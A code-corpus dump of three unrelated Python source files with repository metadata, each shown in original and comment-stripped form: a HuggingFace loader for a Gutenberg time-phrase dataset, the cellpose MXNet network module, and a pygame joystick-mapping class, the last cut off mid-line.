1406a04c3e911cec2680d8bc513653e0cafcaaa4

[ "Apache-2.0" ]

10,608

2020-09-10T15:47:50.000Z

2022-03-31T22:51:47.000Z

datasets/gutenberg_time/gutenberg_time.py

realChainLife/datasets

98261e8b0b7be4dbaaa71ae188b950f7fbe51bbd

[ "Apache-2.0" ]

2,396

2020-09-10T14:55:31.000Z

2022-03-31T19:41:04.000Z

datasets/gutenberg_time/gutenberg_time.py

realChainLife/datasets

98261e8b0b7be4dbaaa71ae188b950f7fbe51bbd

[ "Apache-2.0" ]

1,530

2020-09-10T21:43:10.000Z

2022-03-31T01:59:12.000Z

# coding=utf-8 # Copyright 2020 The HuggingFace Datasets Authors and the current dataset script contributor. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Recognizing the flow of time in a story is a crucial aspect of understanding it. Prior work related to time has primarily focused on identifying temporal expressions or relative sequencing of events, but here we propose computationally annotating each line of a book with wall clock times, even in the absence of explicit time-descriptive phrases. To do so, we construct a data set of hourly time phrases from 52,183 fictional books.""" import csv import os import datasets _CITATION = """\ @misc{kim2020time, title={What time is it? Temporal Analysis of Novels}, author={Allen Kim and Charuta Pethe and Steven Skiena}, year={2020}, eprint={2011.04124}, archivePrefix={arXiv}, primaryClass={cs.CL} } """ _DESCRIPTION = """\ A clean data resource containing all explicit time references in a dataset of 52,183 novels whose full text is available via Project Gutenberg. """ _HOMEPAGE = "https://github.com/allenkim/what-time-is-it" _LICENSE = "[More Information needed]" # The HuggingFace dataset library don't host the datasets but only point to the original files # This can be an arbitrary nested dict/list of URLs (see below in `_split_generators` method) _URLs = { "gutenberg": "https://github.com/TevenLeScao/what-time-is-it/blob/master/gutenberg_time_phrases.zip?raw=true", } class GutenbergTime(datasets.GeneratorBasedBuilder): """Novel extracts with time-of-the-day information""" VERSION = datasets.Version("1.1.3") BUILDER_CONFIGS = [ datasets.BuilderConfig(name="gutenberg", description="Data pulled from the Gutenberg project"), ] def _info(self): features = datasets.Features( { "guten_id": datasets.Value("string"), "hour_reference": datasets.Value("string"), "time_phrase": datasets.Value("string"), "is_ambiguous": datasets.Value("bool_"), "time_pos_start": datasets.Value("int64"), "time_pos_end": datasets.Value("int64"), "tok_context": datasets.Value("string"), } ) return datasets.DatasetInfo( description=_DESCRIPTION, features=features, supervised_keys=None, homepage=_HOMEPAGE, license=_LICENSE, citation=_CITATION, ) def _split_generators(self, dl_manager): """Returns SplitGenerators.""" my_urls = _URLs[self.config.name] data = dl_manager.download_and_extract(my_urls) return [ datasets.SplitGenerator( name=datasets.Split.TRAIN, # These kwargs will be passed to _generate_examples gen_kwargs={ "filepath": os.path.join(data, "gutenberg_time_phrases.csv"), "split": "train", }, ) ] def _generate_examples(self, filepath, split): with open(filepath, encoding="utf8") as f: data = csv.reader(f) next(data) for id_, row in enumerate(data): yield id_, { "guten_id": row[0], "hour_reference": row[1], "time_phrase": row[2], "is_ambiguous": row[3], "time_pos_start": row[4], "time_pos_end": row[5], "tok_context": row[6], }

37.770642

439

0.632499

import csv import os import datasets _CITATION = """\ @misc{kim2020time, title={What time is it? Temporal Analysis of Novels}, author={Allen Kim and Charuta Pethe and Steven Skiena}, year={2020}, eprint={2011.04124}, archivePrefix={arXiv}, primaryClass={cs.CL} } """ _DESCRIPTION = """\ A clean data resource containing all explicit time references in a dataset of 52,183 novels whose full text is available via Project Gutenberg. """ _HOMEPAGE = "https://github.com/allenkim/what-time-is-it" _LICENSE = "[More Information needed]" # This can be an arbitrary nested dict/list of URLs (see below in `_split_generators` method) _URLs = { "gutenberg": "https://github.com/TevenLeScao/what-time-is-it/blob/master/gutenberg_time_phrases.zip?raw=true", } class GutenbergTime(datasets.GeneratorBasedBuilder): VERSION = datasets.Version("1.1.3") BUILDER_CONFIGS = [ datasets.BuilderConfig(name="gutenberg", description="Data pulled from the Gutenberg project"), ] def _info(self): features = datasets.Features( { "guten_id": datasets.Value("string"), "hour_reference": datasets.Value("string"), "time_phrase": datasets.Value("string"), "is_ambiguous": datasets.Value("bool_"), "time_pos_start": datasets.Value("int64"), "time_pos_end": datasets.Value("int64"), "tok_context": datasets.Value("string"), } ) return datasets.DatasetInfo( description=_DESCRIPTION, features=features, supervised_keys=None, homepage=_HOMEPAGE, license=_LICENSE, citation=_CITATION, ) def _split_generators(self, dl_manager): my_urls = _URLs[self.config.name] data = dl_manager.download_and_extract(my_urls) return [ datasets.SplitGenerator( name=datasets.Split.TRAIN, # These kwargs will be passed to _generate_examples gen_kwargs={ "filepath": os.path.join(data, "gutenberg_time_phrases.csv"), "split": "train", }, ) ] def _generate_examples(self, filepath, split): with open(filepath, encoding="utf8") as f: data = csv.reader(f) next(data) for id_, row in enumerate(data): yield id_, { "guten_id": row[0], "hour_reference": row[1], "time_phrase": row[2], "is_ambiguous": row[3], "time_pos_start": row[4], "time_pos_end": row[5], "tok_context": row[6], }

true

1c4211be12ac569a922d65f12f4891262c862e23

6,936

py

Python

cellpose/resnet_style.py

YinuoJin/cellpose

eb8df70f295ac8465633f468d487aee1dd13a181

[ "BSD-3-Clause" ]

504

2020-02-04T06:42:53.000Z

2022-03-31T06:13:11.000Z

cellpose/resnet_style.py

YinuoJin/cellpose

eb8df70f295ac8465633f468d487aee1dd13a181

[ "BSD-3-Clause" ]

457

2020-02-04T20:53:06.000Z

2022-03-30T07:30:32.000Z

cellpose/resnet_style.py

YinuoJin/cellpose

eb8df70f295ac8465633f468d487aee1dd13a181

[ "BSD-3-Clause" ]

208

2020-02-04T15:50:20.000Z

2022-03-31T14:57:48.000Z

from mxnet import gluon, nd from mxnet.gluon import nn import numpy as np nfeat = 128 sz = [3, 3, 3, 3, 3] sz2 = [3, 3, 3, 3, 3] szf = [1] def total_variation_loss(x): """ regularize convolutional masks (not currently in use) """ a = nd.square(x[:, :, :-1, :-1] - x[:, :, 1:, :-1]) b = nd.square(x[:, :, :-1, :-1] - x[:, :, :-1, 1:]) return nd.sum(nd.mean(nd.power(a + b, 1.25), axis=(2,3))) def convbatchrelu(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), nn.BatchNorm(axis=1), nn.Activation('relu'), ) return conv def batchconv(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.BatchNorm(axis=1), nn.Activation('relu'), nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), ) return conv def batchconv0(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.BatchNorm(axis=1), nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), ) return conv class resdown(nn.HybridBlock): def __init__(self, nconv, **kwargs): super(resdown, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() for t in range(4): self.conv.add( batchconv(nconv, 3)) self.proj = batchconv0(nconv, 1) def hybrid_forward(self, F, x): x = self.proj(x) + self.conv[1](self.conv[0](x)) x = x + self.conv[3](self.conv[2](x)) return x class convdown(nn.HybridBlock): def __init__(self, nconv, **kwargs): super(convdown, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() for t in range(2): self.conv.add(batchconv(nconv, 3)) def hybrid_forward(self, F, x): x = self.conv[0](x) x = self.conv[1](x) return x class downsample(nn.HybridBlock): def __init__(self, nbase, residual_on=True, **kwargs): super(downsample, self).__init__(**kwargs) with self.name_scope(): self.down = nn.HybridSequential() for n in range(len(nbase)): if residual_on: self.down.add(resdown(nbase[n])) else: self.down.add(convdown(nbase[n])) def hybrid_forward(self, F, x): xd = [] for n in range(len(self.down)): if n>0: y = F.Pooling(xd[n-1], kernel=(2,2), stride=(2,2), pool_type='max') else: y = x xd.append(self.down[n](y)) return xd class batchconvstyle(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(batchconvstyle, self).__init__(**kwargs) with self.name_scope(): self.conv = batchconv(nconv, 3) if concatenation: self.full = nn.Dense(nconv*2) else: self.full = nn.Dense(nconv) self.concatenation = concatenation def hybrid_forward(self, F, style, x, y=None): if y is not None: if self.concatenation: x = F.concat(y, x, dim=1) else: x = x + y feat = self.full(style) y = F.broadcast_add(x, feat.expand_dims(-1).expand_dims(-1)) y = self.conv(y) return y class convup(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(convup, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() self.conv.add(batchconv(nconv, 3)) self.conv.add(batchconvstyle(nconv, concatenation)) def hybrid_forward(self, F, x, y, style): x = self.conv[0](x) x = self.conv[1](style, x, y) return x class resup(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(resup, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() self.conv.add(batchconv(nconv,3)) self.conv.add(batchconvstyle(nconv, concatenation)) self.conv.add(batchconvstyle(nconv)) self.conv.add(batchconvstyle(nconv)) self.proj = batchconv0(nconv, 1) def hybrid_forward(self, F, x, y, style): x = self.proj(x) + self.conv[1](style, self.conv[0](x), y) x = x + self.conv[3](style, self.conv[2](style, x)) return x class upsample(nn.HybridBlock): def __init__(self, nbase, residual_on=True, concatenation=False, **kwargs): super(upsample, self).__init__(**kwargs) with self.name_scope(): self.up = nn.HybridSequential() for n in range(len(nbase)): if residual_on: self.up.add(resup(nbase[n], concatenation=concatenation)) else: self.up.add(convup(nbase[n], concatenation=concatenation)) def hybrid_forward(self, F, style, xd): x= self.up[-1](xd[-1], xd[-1], style) for n in range(len(self.up)-2,-1,-1): x= F.UpSampling(x, scale=2, sample_type='nearest') x = self.up[n](x, xd[n], style) return x class make_style(nn.HybridBlock): def __init__(self, **kwargs): super(make_style, self).__init__(**kwargs) with self.name_scope(): self.pool_all = nn.GlobalAvgPool2D() self.flatten = nn.Flatten() def hybrid_forward(self, F, x0): style = self.pool_all(x0) style = self.flatten(style) style = F.broadcast_div(style , F.sum(style**2, axis=1).expand_dims(1)**.5) return style class CPnet(gluon.HybridBlock): def __init__(self, nbase, nout, residual_on=True, style_on=True, concatenation=False, **kwargs): super(CPnet, self).__init__(**kwargs) with self.name_scope(): self.nbase = nbase self.downsample = downsample(nbase, residual_on=residual_on) self.upsample = upsample(nbase, residual_on=residual_on, concatenation=concatenation) self.output = batchconv(nout, 1) self.make_style = make_style() self.style_on = style_on def hybrid_forward(self, F, data): #data = self.conv1(data) T0 = self.downsample(data) style = self.make_style(T0[-1]) style0 = style if not self.style_on: style = style * 0 T0 = self.upsample(style, T0) T0 = self.output(T0) return T0, style0 def save_model(self, filename): self.save_parameters(filename) def load_model(self, filename, cpu=None): self.load_parameters(filename)

33.346154

100

0.560409

from mxnet import gluon, nd from mxnet.gluon import nn import numpy as np nfeat = 128 sz = [3, 3, 3, 3, 3] sz2 = [3, 3, 3, 3, 3] szf = [1] def total_variation_loss(x): a = nd.square(x[:, :, :-1, :-1] - x[:, :, 1:, :-1]) b = nd.square(x[:, :, :-1, :-1] - x[:, :, :-1, 1:]) return nd.sum(nd.mean(nd.power(a + b, 1.25), axis=(2,3))) def convbatchrelu(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), nn.BatchNorm(axis=1), nn.Activation('relu'), ) return conv def batchconv(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.BatchNorm(axis=1), nn.Activation('relu'), nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), ) return conv def batchconv0(nconv, sz): conv = nn.HybridSequential() with conv.name_scope(): conv.add( nn.BatchNorm(axis=1), nn.Conv2D(nconv, kernel_size=sz, padding=sz//2), ) return conv class resdown(nn.HybridBlock): def __init__(self, nconv, **kwargs): super(resdown, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() for t in range(4): self.conv.add( batchconv(nconv, 3)) self.proj = batchconv0(nconv, 1) def hybrid_forward(self, F, x): x = self.proj(x) + self.conv[1](self.conv[0](x)) x = x + self.conv[3](self.conv[2](x)) return x class convdown(nn.HybridBlock): def __init__(self, nconv, **kwargs): super(convdown, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() for t in range(2): self.conv.add(batchconv(nconv, 3)) def hybrid_forward(self, F, x): x = self.conv[0](x) x = self.conv[1](x) return x class downsample(nn.HybridBlock): def __init__(self, nbase, residual_on=True, **kwargs): super(downsample, self).__init__(**kwargs) with self.name_scope(): self.down = nn.HybridSequential() for n in range(len(nbase)): if residual_on: self.down.add(resdown(nbase[n])) else: self.down.add(convdown(nbase[n])) def hybrid_forward(self, F, x): xd = [] for n in range(len(self.down)): if n>0: y = F.Pooling(xd[n-1], kernel=(2,2), stride=(2,2), pool_type='max') else: y = x xd.append(self.down[n](y)) return xd class batchconvstyle(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(batchconvstyle, self).__init__(**kwargs) with self.name_scope(): self.conv = batchconv(nconv, 3) if concatenation: self.full = nn.Dense(nconv*2) else: self.full = nn.Dense(nconv) self.concatenation = concatenation def hybrid_forward(self, F, style, x, y=None): if y is not None: if self.concatenation: x = F.concat(y, x, dim=1) else: x = x + y feat = self.full(style) y = F.broadcast_add(x, feat.expand_dims(-1).expand_dims(-1)) y = self.conv(y) return y class convup(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(convup, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() self.conv.add(batchconv(nconv, 3)) self.conv.add(batchconvstyle(nconv, concatenation)) def hybrid_forward(self, F, x, y, style): x = self.conv[0](x) x = self.conv[1](style, x, y) return x class resup(nn.HybridBlock): def __init__(self, nconv, concatenation=False, **kwargs): super(resup, self).__init__(**kwargs) with self.name_scope(): self.conv = nn.HybridSequential() self.conv.add(batchconv(nconv,3)) self.conv.add(batchconvstyle(nconv, concatenation)) self.conv.add(batchconvstyle(nconv)) self.conv.add(batchconvstyle(nconv)) self.proj = batchconv0(nconv, 1) def hybrid_forward(self, F, x, y, style): x = self.proj(x) + self.conv[1](style, self.conv[0](x), y) x = x + self.conv[3](style, self.conv[2](style, x)) return x class upsample(nn.HybridBlock): def __init__(self, nbase, residual_on=True, concatenation=False, **kwargs): super(upsample, self).__init__(**kwargs) with self.name_scope(): self.up = nn.HybridSequential() for n in range(len(nbase)): if residual_on: self.up.add(resup(nbase[n], concatenation=concatenation)) else: self.up.add(convup(nbase[n], concatenation=concatenation)) def hybrid_forward(self, F, style, xd): x= self.up[-1](xd[-1], xd[-1], style) for n in range(len(self.up)-2,-1,-1): x= F.UpSampling(x, scale=2, sample_type='nearest') x = self.up[n](x, xd[n], style) return x class make_style(nn.HybridBlock): def __init__(self, **kwargs): super(make_style, self).__init__(**kwargs) with self.name_scope(): self.pool_all = nn.GlobalAvgPool2D() self.flatten = nn.Flatten() def hybrid_forward(self, F, x0): style = self.pool_all(x0) style = self.flatten(style) style = F.broadcast_div(style , F.sum(style**2, axis=1).expand_dims(1)**.5) return style class CPnet(gluon.HybridBlock): def __init__(self, nbase, nout, residual_on=True, style_on=True, concatenation=False, **kwargs): super(CPnet, self).__init__(**kwargs) with self.name_scope(): self.nbase = nbase self.downsample = downsample(nbase, residual_on=residual_on) self.upsample = upsample(nbase, residual_on=residual_on, concatenation=concatenation) self.output = batchconv(nout, 1) self.make_style = make_style() self.style_on = style_on def hybrid_forward(self, F, data): T0 = self.downsample(data) style = self.make_style(T0[-1]) style0 = style if not self.style_on: style = style * 0 T0 = self.upsample(style, T0) T0 = self.output(T0) return T0, style0 def save_model(self, filename): self.save_parameters(filename) def load_model(self, filename, cpu=None): self.load_parameters(filename)

true

1c42124eb9ac9ec0b0d34996cbda5ac176daf67c

11,640

py

Python

my_pygame/joystick.py

francis-clairicia/Py-Game-Case

af2da857f2ef758051ad3c174d77f5a2deab935d

[ "MIT" ]

6

2022-02-10T09:07:56.000Z

2022-02-10T10:36:18.000Z

my_pygame/joystick.py

francis-clairicia/Py-Game-Case

af2da857f2ef758051ad3c174d77f5a2deab935d

[ "MIT" ]

null

my_pygame/joystick.py

francis-clairicia/Py-Game-Case

af2da857f2ef758051ad3c174d77f5a2deab935d

[ "MIT" ]

null

# -*-coding:Utf-8-* import os import sys from typing import Union, Optional, Iterator import pickle import pygame class Joystick: def __init__(self, index: int): self.__index = index self.__joystick = pygame.joystick.Joystick(index) if index in range(Joystick.count()) else None self.__button_list = ["A", "B", "X", "Y", "L1", "L2", "R1", "R2", "SELECT", "START", "L3", "R3", "HOME"] self.__axis_list = ["AXIS_LEFT_X", "AXIS_LEFT_Y", "AXIS_RIGHT_X", "AXIS_RIGHT_Y"] self.__dpad_list = ["UP", "DOWN", "LEFT", "RIGHT"] self.__event_type = {key: [str(), -1, 0] for key in self.button_list + self.axis_list + self.dpad_list} self.__save_file = os.path.join(sys.path[0], "joystick.bin") if os.path.isfile(self.__save_file): with open(self.__save_file, "rb") as save: self.__save = pickle.load(save) else: self.__save = dict() self.set_default_layout() self.__button_axis_return_bool = False """-----------------------------------------------------""" def connected(self) -> bool: return bool(self.__joystick is not None) def event_connect(self, event: pygame.event.Event) -> None: if self.connected(): return if event.type in (pygame.CONTROLLERDEVICEADDED, pygame.JOYDEVICEADDED) and event.device_index == self.__index: self.__joystick = pygame.joystick.Joystick(event.device_index) if self.guid in self.__save: self.__event_type = self.__save[self.guid] else: self.set_default_layout() def event_disconnect(self, event: pygame.event.Event) -> None: if not self.connected(): return if event.type in (pygame.CONTROLLERDEVICEREMOVED, pygame.JOYDEVICEREMOVED) and event.instance_id == self.id: self.__joystick.quit() self.__joystick = None """------------------------------------------------------------------""" def set_default_layout(self) -> None: layout = { "A": ("button", 0, 1), "B": ("button", 1, 1), "X": ("button", 2, 1), "Y": ("button", 3, 1), "L1": ("button", 4, 1), "R1": ("button", 5, 1), "SELECT": ("button", 6, 1), "START": ("button", 7, 1), "L3": ("button", 8, 1), "R3": ("button", 9, 1), "HOME": ("button", 10, 1), "UP": ("hat", 0, (0, 1)), "DOWN": ("hat", 0, (0, -1)), "LEFT": ("hat", 0, (-1, 0)), "RIGHT": ("hat", 0, (1, 0)), "L2": ("axis", 2, 1), "R2": ("axis", 5, 1), "AXIS_LEFT_X": ("axis", 0, 0), "AXIS_LEFT_Y": ("axis", 1, 0), "AXIS_RIGHT_X": ("axis", 3, 0), "AXIS_RIGHT_Y": ("axis", 4, 0), } for key, value in layout.items(): self.__event_type[key] = list(value) def __save_to_file(self) -> None: self.__save[self.guid] = dict(self.__event_type) with open(self.__save_file, "wb") as save: pickle.dump(self.__save, save) """------------------------------------------------------------------""" @property def button_list(self) -> list[str]: return self.__button_list @property def axis_list(self) -> list[str]: return self.__axis_list @property def dpad_list(self) -> list[str]: return self.__dpad_list """------------------------------------------------------------------""" def __test(self, key: str) -> tuple[str, str]: key = key.upper() if key.endswith(("-", "+")): key, suffix = key[:-1], key[-1] else: suffix = str() if key not in self.__event_type: raise NameError("{} isn't recognized".format(key)) return key, suffix def get_value(self, key: str) -> float: key, suffix = self.__test(key) if not self.connected(): return 0 event, index, active_state = self.__event_type[key] active_state = {"": active_state, "-": -1, "+": 1}[suffix] actions = { "button": self.__joystick.get_button, "axis": self.__joystick.get_axis, "hat": self.__joystick.get_hat, } try: state = actions[event](index) except pygame.error: return 0 if event == "button": return state if event == "hat" and isinstance(state, tuple): return 1 if all(active_state[i] == 0 or state[i] == active_state[i] for i in range(2)) else 0 if event == "axis": if key not in self.axis_list and self.__button_axis_return_bool: return 1 if state >= 0.9 else 0 return self.__get_axis_value(state, active_state) return 0 def __get_axis_value(self, state: float, active_state: int) -> float: if active_state != 0: if (active_state > 0 and state < 0) or (active_state < 0 and state > 0): return 0 return abs(state) return state def search_key(self, event_type: str, index: int, hat_value: Optional[tuple[int, int]] = None, axis: Optional[int] = None) -> Union[str, None]: for key, (event, idx, value) in self.__event_type.items(): if event == event_type and idx == index and (event != "hat" or value == hat_value) and (event != "axis" or axis is None or value == axis): return key return None def __getitem__(self, key: str) -> Union[int, float]: key = self.__test(key)[0] infos = self.__event_type[key] return infos[1] def __setitem__(self, key: str, value: tuple[int, int, tuple[int, int]]) -> None: self.set_event(key, *value) def set_event(self, key: str, event: int, index: int, hat_value: Optional[tuple[int, int]] = (0, 0)) -> None: key = self.__test(key)[0] event_map = { pygame.JOYBUTTONDOWN: ("button", index, 1), pygame.JOYAXISMOTION: ("axis", index, 0 if key not in self.button_list + self.dpad_list else 1), pygame.JOYHATMOTION: ("hat", index, hat_value) } if event in event_map: self.__event_type[key] = list(event_map[event]) self.__save_to_file() def set_button_axis(self, state: bool) -> None: self.__button_axis_return_bool = bool(state) def get_button_axis_state(self) -> bool: return self.__button_axis_return_bool """------------------------------------------------------------------""" @property def device_index(self) -> int: return self.__index @property def id(self) -> int: return self.__joystick.get_instance_id() if self.connected() else -1 @property def guid(self) -> str: return self.__joystick.get_guid() if self.connected() else str() @property def name(self) -> str: return self.__joystick.get_name() if self.connected() else str() @property def power_level(self) -> str: return self.__joystick.get_power_level() if self.connected() else "unknown" """------------------------------------------------------------------""" @staticmethod def count() -> int: return pygame.joystick.get_count() @staticmethod def list() -> tuple[str, ...]: try: joystick = tuple(pygame.joystick.Joystick(i).get_name() for i in range(Joystick.count())) except pygame.error: joystick = tuple() return joystick """------------------------------------------------------------------""" A = property(lambda self: self.__getitem__("A"), lambda self, value: self.set_event("A", *value)) B = property(lambda self: self.__getitem__("B"), lambda self, value: self.set_event("B", *value)) X = property(lambda self: self.__getitem__("X"), lambda self, value: self.set_event("X", *value)) Y = property(lambda self: self.__getitem__("Y"), lambda self, value: self.set_event("Y", *value)) L1 = property(lambda self: self.__getitem__("L1"), lambda self, value: self.set_event("L1", *value)) L2 = property(lambda self: self.__getitem__("L2"), lambda self, value: self.set_event("L2", *value)) L3 = property(lambda self: self.__getitem__("L3"), lambda self, value: self.set_event("L3", *value)) R1 = property(lambda self: self.__getitem__("R1"), lambda self, value: self.set_event("R1", *value)) R2 = property(lambda self: self.__getitem__("R2"), lambda self, value: self.set_event("R2", *value)) R3 = property(lambda self: self.__getitem__("R3"), lambda self, value: self.set_event("R3", *value)) SELECT = property(lambda self: self.__getitem__("SELECT"), lambda self, value: self.set_event("SELECT", *value)) START = property(lambda self: self.__getitem__("START"), lambda self, value: self.set_event("START", *value)) UP = property(lambda self: self.__getitem__("UP"), lambda self, value: self.set_event("UP", *value)) DOWN = property(lambda self: self.__getitem__("DOWN"), lambda self, value: self.set_event("DOWN", *value)) LEFT = property(lambda self: self.__getitem__("LEFT"), lambda self, value: self.set_event("LEFT", *value)) RIGHT = property(lambda self: self.__getitem__("RIGHT"), lambda self, value: self.set_event("RIGHT", *value)) AXIS_LEFT_X = property(lambda self: self.__getitem__("AXIS_LEFT_X"), lambda self, value: self.set_event("AXIS_LEFT_X", *value)) AXIS_LEFT_Y = property(lambda self: self.__getitem__("AXIS_LEFT_Y"), lambda self, value: self.set_event("AXIS_LEFT_Y", *value)) AXIS_RIGHT_X = property(lambda self: self.__getitem__("AXIS_RIGHT_X"), lambda self, value: self.set_event("AXIS_RIGHT_X", *value)) AXIS_RIGHT_Y = property(lambda self: self.__getitem__("AXIS_RIGHT_Y"), lambda self, value: self.set_event("AXIS_RIGHT_Y", *value)) class JoystickList(object): __slots__ = ("__list",) def __init__(self): self.__list = list() def set(self, nb_joystick: int) -> None: self.__list = [Joystick(i) for i in range(nb_joystick)] def __iter__(self) -> Iterator[Joystick]: return iter(self.__list) def __bool__(self) -> bool: return bool(self.__list) def __getitem__(self, index: int) -> Union[Joystick, None]: return self.get_joy_by_device_index(index) def get_joy_by_device_index(self, index: int) -> Union[Joystick, None]: for joy in self: if joy.device_index == index: return joy return None def get_joy_by_instance_id(self, instance_id: int) -> Union[Joystick, None]: for joy in self: if joy.id == instance_id: return joy return None def event_connect(self, event: pygame.event.Event) -> None: if event.type in (pygame.CONTROLLERDEVICEADDED, pygame.JOYDEVICEADDED): joystick = self.get_joy_by_device_index(event.device_index) if joystick is not None: joystick.event_connect(event) def event_disconnect(self, event: pygame.event.Event) -> None: if event.type in (pygame.CONTROLLERDEVICEREMOVED, pygame.JOYDEVICEREMOVED): joystick = self.get_joy_by_instance_id(event.instance_id) if joystick is not None: joystick.event_disconnect(event)

42.173913

150

0.564089

import os import sys from typing import Union, Optional, Iterator import pickle import pygame class Joystick: def __init__(self, index: int): self.__index = index self.__joystick = pygame.joystick.Joystick(index) if index in range(Joystick.count()) else None self.__button_list = ["A", "B", "X", "Y", "L1", "L2", "R1", "R2", "SELECT", "START", "L3", "R3", "HOME"] self.__axis_list = ["AXIS_LEFT_X", "AXIS_LEFT_Y", "AXIS_RIGHT_X", "AXIS_RIGHT_Y"] self.__dpad_list = ["UP", "DOWN", "LEFT", "RIGHT"] self.__event_type = {key: [str(), -1, 0] for key in self.button_list + self.axis_list + self.dpad_list} self.__save_file = os.path.join(sys.path[0], "joystick.bin") if os.path.isfile(self.__save_file): with open(self.__save_file, "rb") as save: self.__save = pickle.load(save) else: self.__save = dict() self.set_default_layout() self.__button_axis_return_bool = False def connected(self) -> bool: return bool(self.__joystick is not None) def event_connect(self, event: pygame.event.Event) -> None: if self.connected(): return if event.type in (pygame.CONTROLLERDEVICEADDED, pygame.JOYDEVICEADDED) and event.device_index == self.__index: self.__joystick = pygame.joystick.Joystick(event.device_index) if self.guid in self.__save: self.__event_type = self.__save[self.guid] else: self.set_default_layout() def event_disconnect(self, event: pygame.event.Event) -> None: if not self.connected(): return if event.type in (pygame.CONTROLLERDEVICEREMOVED, pygame.JOYDEVICEREMOVED) and event.instance_id == self.id: self.__joystick.quit() self.__joystick = None def set_default_layout(self) -> None: layout = { "A": ("button", 0, 1), "B": ("button", 1, 1), "X": ("button", 2, 1), "Y": ("button", 3, 1), "L1": ("button", 4, 1), "R1": ("button", 5, 1), "SELECT": ("button", 6, 1), "START": ("button", 7, 1), "L3": ("button", 8, 1), "R3": ("button", 9, 1), "HOME": ("button", 10, 1), "UP": ("hat", 0, (0, 1)), "DOWN": ("hat", 0, (0, -1)), "LEFT": ("hat", 0, (-1, 0)), "RIGHT": ("hat", 0, (1, 0)), "L2": ("axis", 2, 1), "R2": ("axis", 5, 1), "AXIS_LEFT_X": ("axis", 0, 0), "AXIS_LEFT_Y": ("axis", 1, 0), "AXIS_RIGHT_X": ("axis", 3, 0), "AXIS_RIGHT_Y": ("axis", 4, 0), } for key, value in layout.items(): self.__event_type[key] = list(value) def __save_to_file(self) -> None: self.__save[self.guid] = dict(self.__event_type) with open(self.__save_file, "wb") as save: pickle.dump(self.__save, save) @property def button_list(self) -> list[str]: return self.__button_list @property def axis_list(self) -> list[str]: return self.__axis_list @property def dpad_list(self) -> list[str]: return self.__dpad_list def __test(self, key: str) -> tuple[str, str]: key = key.upper() if key.endswith(("-", "+")): key, suffix = key[:-1], key[-1] else: suffix = str() if key not in self.__event_type: raise NameError("{} isn't recognized".format(key)) return key, suffix def get_value(self, key: str) -> float: key, suffix = self.__test(key) if not self.connected(): return 0 event, index, active_state = self.__event_type[key] active_state = {"": active_state, "-": -1, "+": 1}[suffix] actions = { "button": self.__joystick.get_button, "axis": self.__joystick.get_axis, "hat": self.__joystick.get_hat, } try: state = actions[event](index) except pygame.error: return 0 if event == "button": return state if event == "hat" and isinstance(state, tuple): return 1 if all(active_state[i] == 0 or state[i] == active_state[i] for i in range(2)) else 0 if event == "axis": if key not in self.axis_list and self.__button_axis_return_bool: return 1 if state >= 0.9 else 0 return self.__get_axis_value(state, active_state) return 0 def __get_axis_value(self, state: float, active_state: int) -> float: if active_state != 0: if (active_state > 0 and state < 0) or (active_state < 0 and state > 0): return 0 return abs(state) return state def search_key(self, event_type: str, index: int, hat_value: Optional[tuple[int, int]] = None, axis: Optional[int] = None) -> Union[str, None]: for key, (event, idx, value) in self.__event_type.items(): if event == event_type and idx == index and (event != "hat" or value == hat_value) and (event != "axis" or axis is None or value == axis): return key return None def __getitem__(self, key: str) -> Union[int, float]: key = self.__test(key)[0] infos = self.__event_type[key] return infos[1] def __setitem__(self, key: str, value: tuple[int, int, tuple[int, int]]) -> None: self.set_event(key, *value) def set_event(self, key: str, event: int, index: int, hat_value: Optional[tuple[int, int]] = (0, 0)) -> None: key = self.__test(key)[0] event_map = { pygame.JOYBUTTONDOWN: ("button", index, 1), pygame.JOYAXISMOTION: ("axis", index, 0 if key not in self.button_list + self.dpad_list else 1), pygame.JOYHATMOTION: ("hat", index, hat_value) } if event in event_map: self.__event_type[key] = list(event_map[event]) self.__save_to_file() def set_button_axis(self, state: bool) -> None: self.__button_axis_return_bool = bool(state) def get_button_axis_state(self) -> bool: return self.__button_axis_return_bool @property def device_index(self) -> int: return self.__index @property def id(self) -> int: return self.__joystick.get_instance_id() if self.connected() else -1 @property def guid(self) -> str: return self.__joystick.get_guid() if self.connected() else str() @property def name(self) -> str: return self.__joystick.get_name() if self.connected() else str() @property def power_level(self) -> str: return self.__joystick.get_power_level() if self.connected() else "unknown" @staticmethod def count() -> int: return pygame.joystick.get_count() @staticmethod def list() -> tuple[str, ...]: try: joystick = tuple(pygame.joystick.Joystick(i).get_name() for i in range(Joystick.count())) except pygame.error: joystick = tuple() return joystick A = property(lambda self: self.__getitem__("A"), lambda self, value: self.set_event("A", *value)) B = property(lambda self: self.__getitem__("B"), lambda self, value: self.set_event("B", *value)) X = property(lambda self: self.__getitem__("X"), lambda self, value: self.set_event("X", *value)) Y = property(lambda self: self.__getitem__("Y"), lambda self, value: 